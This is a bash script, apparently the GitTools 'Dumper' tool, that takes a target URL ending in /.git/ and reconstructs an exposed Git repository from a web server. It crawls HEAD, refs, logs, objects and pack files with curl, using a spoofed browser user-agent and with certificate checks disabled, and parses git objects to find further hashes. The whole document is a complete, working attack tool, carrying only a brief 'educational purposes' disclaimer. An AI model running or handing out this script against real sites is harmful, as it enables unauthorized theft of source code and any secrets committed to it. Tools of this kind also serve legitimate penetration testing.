from here: https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.sh
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#!/bin/bash |
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#$1 : URL to download .git from (http://target.com/.git/) |
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#$2 : Folder where the .git-directory will be created |
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|
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function init_header() { |
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cat <<EOF |
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########### |
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# Git-Dumper is part of https://github.com/internetwache/GitTools |
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# |
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# Developed and maintained by @gehaxelt from @internetwache |
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# |
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# Use at your own risk. Usage might be illegal in certain circumstances. |
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# Only for educational purposes! |
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########### |
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EOF |
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} |
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|
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# get_git_dir "$@" for "--git-dir=asd" |
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# returns asd in GITDIR |
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function get_git_dir() { |
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local FLAG="--git-dir=" |
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local ARGS=${@} |
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|
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for arg in $ARGS |
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do |
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if [[ $arg == $FLAG* ]]; then |
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echo "${arg#$FLAG}" |
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return |
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fi |
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done |
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echo ".git" |
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} |
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init_header |
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QUEUE=(); |
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DOWNLOADED=(); |
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BASEURL="$1"; |
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BASEDIR="$2"; |
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GITDIR=$(get_git_dir "$@") |
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BASEGITDIR="$BASEDIR/$GITDIR/"; |
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|
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if [ $# -lt 2 ]; then |
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echo -e "\033[33m[*] USAGE: http://target.tld/.git/ dest-dir [--git-dir=otherdir]\033[0m"; |
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echo -e "\t\t--git-dir=otherdir\t\tChange the git folder name. Default: .git" |
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exit 1; |
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fi |
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|
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if [[ ! "$BASEURL" =~ /$GITDIR/$ ]]; then |
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echo -e "\033[31m[-] /$GITDIR/ missing in url\033[0m"; |
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exit 0; |
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fi |
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|
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if [ ! -d "$BASEGITDIR" ]; then |
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echo -e "\033[33m[*] Destination folder does not exist\033[0m"; |
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echo -e "\033[32m[+] Creating $BASEGITDIR\033[0m"; |
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mkdir -p "$BASEGITDIR"; |
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fi |
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function start_download() { |
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#Add initial/static git files |
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QUEUE+=('HEAD') |
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QUEUE+=('objects/info/packs') |
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QUEUE+=('description') |
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QUEUE+=('config') |
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QUEUE+=('COMMIT_EDITMSG') |
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QUEUE+=('index') |
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QUEUE+=('packed-refs') |
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QUEUE+=('refs/heads/master') |
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QUEUE+=('refs/remotes/origin/HEAD') |
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QUEUE+=('refs/stash') |
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QUEUE+=('logs/HEAD') |
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QUEUE+=('logs/refs/heads/master') |
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QUEUE+=('logs/refs/remotes/origin/HEAD') |
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QUEUE+=('info/refs') |
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QUEUE+=('info/exclude') |
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QUEUE+=('/refs/wip/index/refs/heads/master') |
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QUEUE+=('/refs/wip/wtree/refs/heads/master') |
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|
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#Iterate through QUEUE until there are no more files to download |
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while [ ${#QUEUE[*]} -gt 0 ] |
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do |
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download_item ${QUEUE[@]:0:1} |
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#Remove item from QUEUE |
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QUEUE=( "${QUEUE[@]:1}" ) |
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done |
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} |
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function download_item() { |
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local objname=$1 |
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local url="$BASEURL$objname" |
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local hashes=() |
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local packs=() |
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|
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#Check if file has already been downloaded |
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if [[ " ${DOWNLOADED[@]} " =~ " ${objname} " ]]; then |
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return |
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fi |
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local target="$BASEGITDIR$objname" |
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|
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#Create folder |
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dir=$(echo "$objname" | grep -oE "^(.*)/") |
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if [ $? -ne 1 ]; then |
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mkdir -p "$BASEGITDIR/$dir" |
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fi |
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|
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#Download file |
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curl -L -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" -f -k -s "$url" -o "$target" |
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|
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#Mark as downloaded and remove it from the queue |
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DOWNLOADED+=("$objname") |
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if [ ! -f "$target" ]; then |
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echo -e "\033[31m[-] Downloaded: $objname\033[0m" |
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return |
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fi |
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echo -e "\033[32m[+] Downloaded: $objname\033[0m" |
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|
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#Check if we have an object hash |
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if [[ "$objname" =~ /[a-f0-9]{2}/[a-f0-9]{38} ]]; then |
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#Switch into $BASEDIR and save current working directory |
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cwd=$(pwd) |
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cd "$BASEDIR" |
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#Restore hash from $objectname |
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hash=$(echo "$objname" | sed -e 's~objects~~g' | sed -e 's~/~~g') |
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#Check if it's valid git object |
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type=$(git cat-file -t "$hash" 2> /dev/null) |
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if [ $? -ne 0 ]; then |
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#Delete invalid file |
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cd "$cwd" |
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rm "$target" |
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return |
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fi |
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#Parse output of git cat-file -p $hash. Use strings for blobs |
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if [[ "$type" != "blob" ]]; then |
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hashes+=($(git cat-file -p "$hash" | grep -oE "([a-f0-9]{40})")) |
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else |
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hashes+=($(git cat-file -p "$hash" | strings -a | grep -oE "([a-f0-9]{40})")) |
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fi |
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cd "$cwd" |
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fi |
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#Parse file for other objects |
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hashes+=($(cat "$target" | strings -a | grep -oE "([a-f0-9]{40})")) |
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for hash in ${hashes[*]} |
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do |
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QUEUE+=("objects/${hash:0:2}/${hash:2}") |
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done |
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#Parse file for packs |
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packs+=($(cat "$target" | strings -a | grep -oE "(pack\-[a-f0-9]{40})")) |
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for pack in ${packs[*]} |
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do |
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QUEUE+=("objects/pack/$pack.pack") |
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QUEUE+=("objects/pack/$pack.idx") |
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done |
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} |
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start_download |
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